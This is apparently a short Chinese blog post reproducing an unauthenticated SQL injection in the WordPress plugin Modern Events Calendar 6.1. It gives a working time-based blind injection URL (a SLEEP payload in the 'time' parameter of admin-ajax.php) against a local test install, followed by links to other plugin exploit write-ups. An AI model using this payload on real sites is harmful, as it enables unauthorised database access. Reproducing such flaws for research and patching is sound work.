WordPress Plugin Modern Events Calendar V 6.1 - SQL Injection (Unauthenticated)

接收参数的过滤方法并不能去除 select sleep等函数。time处理有问题

time没有单引号

http://127.0.0.1:8081/wordpress-5.8.1-zh_CN/wordpress/wp-admin/admin-ajax.php?action=mec_load_single_page&time=2) AND (SELECT 1622 FROM (SELECT(S

LEEP(5)))IfrQ) AND (1580=1580

推荐阅读更多精彩内容

• # Exploit Title: Wordpress Plugin Duplicator 1....

  /wordpress-5.8.1-zh_CN/wordpress/wp-admin/admin-ajax.php?...

  Billie_f310阅读 299评论 0赞 0
• WordPress Plugin Backup and Restore 1.0.3 - Ar...

  plugins get Arbitrary File Deletion() POST /wordpress/wp-...

  Billie_f310阅读 211评论 0赞 0
• WordPress插件SQL漏洞复现

  该SQL漏洞存在于wordpress的插件Ultimate Produce Catalogue 4.2.2版本，在...

  漏斗社区阅读 2,292评论 0赞 1
• CVE-2021-24285 WordPress Sql注入

  文章来源：Khan安全攻防实验室 CVE-2021-24285 插件名称：wp-plugin：cars-selle...

  华盟君阅读 657评论 0赞 0
• wordpress更改端口后访问自动跳转老端口

  刚开始首次安装wordpress程序时, nginx配置的是8081端口. 在启动nginx和php服务后, 访问...

  sufaith_dev阅读 1,514评论 0赞 0